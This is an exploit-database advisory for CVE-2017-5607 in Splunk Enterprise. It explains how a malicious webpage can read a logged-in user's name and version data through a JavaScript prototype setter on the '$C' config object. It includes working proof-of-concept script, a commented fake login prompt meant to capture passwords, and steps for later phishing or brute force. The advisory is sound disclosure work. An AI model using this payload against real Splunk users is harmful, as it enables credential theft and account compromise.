Splunk Enterprise - Information Disclosure

EDB-ID: 41779
Author: hyp3rlinx
Published: 2017-03-31
CVE: CVE-2017-5607
Type: Webapps
Platform: Multiple
Vulnerable App: N/A

 [+] Website: hyp3rlinx.altervista.org 
[+] Source: http://hyp3rlinx.altervista.org/advisories/SPLUNK-ENTERPRISE-INFORMATION-THEFT.txt
[+] ISR: ApparitionSec


Splunk Enterprise

Splunk provides the leading platform for Operational Intelligence. Customers use Splunk to search, monitor, analyze
and visualize machine data. Splunk Enterprise, collects and analyzes high volumes of machine-generated data.

Vulnerability Type:
Javascript (JSON) Information Theft

CVE Reference:

Security Issue:
Attackers can siphon information from Splunk Enterprise if an authenticated Splunk user visits a malicious webpage.
Some useful data gained is the currently logged in username and if remote user setting is enabled. After, the username
can be use to Phish or Brute Force Splunk Enterprise login. Additional information stolen may aid in furthering attacks.

Root cause is the global Window JS variable assignment of config?autoload=1 '$C'.


window.$C = {"BUILD_NUMBER": 207789, "SPLUNKD_PATH"... etc... }

To steal information we simply can define a function to be called when the '$C' JS property is "set" on webpage, for example.
Object.defineProperty( Object.prototype, "$C", { set:function(val){...

The Object prototype is a Object that every other object inherits from in JavaScript, if we create a setter on the name of our target
in this case "$C", we can get/steal the value of this data, in this case it is very easy as it is assigned to global Window namespace.

Affected Splunk Enterprise versions:
6.5.x before 6.5.3
6.4.x before 6.4.6
6.3.x before 6.3.10
6.2.x before
6.1.x before 6.1.13
6.0.x before 6.0.14
5.0.x before 5.0.18 and Splunk Light before 6.5.2

Vulnerability could allow a remote attacker to obtain logged-in username and Splunk version-related information via JavaScript.




1) Log into Splunk
2) place the below Javascript in webpage on another server.


Object.defineProperty( Object.prototype, "$C", { set:function(val){
//prompt("Splunk Timed out:\nPlease Login to Splunk\nUsername: "+val.USERNAME, "Password")
for(var i in val){
alert(""+i+" "+val[i]);

<script src="https://VICTIM-IP:8000/en-US/config?autoload=1"></script>

3) Visit the server hosting the "Splunk-Data-Theft.html" webpage, grab current authenticated user
4) Phish or brute force the application.

Video POC URL:

Network Access:

Information Disclosure


Disclosure Timeline:
Vendor Notification: November 30, 2016
Vendor Acknowledgement: December 2, 2016
Vendor Release Splunk 6.5.3 / Patch : March 30, 2017
March 31, 2017 : Public Disclosure

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